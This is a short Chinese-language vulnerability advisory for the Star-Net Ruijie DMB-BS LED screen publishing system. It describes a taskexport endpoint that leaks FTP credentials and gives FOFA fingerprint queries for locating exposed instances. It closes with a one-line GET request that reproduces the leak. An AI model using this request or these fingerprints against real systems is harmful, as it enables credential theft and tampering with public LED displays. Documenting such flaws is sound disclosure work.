星网锐捷 DMB-BS LED屏信息发布系统taskexport接口处存在敏感信息泄露
星网锐捷 DMB-BS LED屏信息发布系统taskexport接口处存在敏感信息泄露
漏洞描述
福建星网锐捷通讯股份有限公司成立于2000年，公司秉承“融合创新科技，构建智慧未来"的经营理念，是国内领先的ICT基础设施及AI应用方案提供商。星网锐捷 DMB-BS LED屏信息发布系统taskexport接口处存在敏感信息泄露，攻击者可以可以通过此漏洞读取 FTP 服务器地址、端口及账号密码，通过 FTP 可篡改 LED 发布信息
威胁等级: 中危
漏洞分类: 账号密码泄露
涉及厂商及产品：星网锐捷 DMB-BS : LED屏信息发布系统
应用指纹
指纹检出思路
fofa：app="STAR_NET-数字标牌系统"
icon：icon_hash="-260118452"
title："-Welcome! -- BS3.2.02.38447-"
漏洞复现
GET /dmb/out/taskexport.jsp?taskcode HTTP/1.1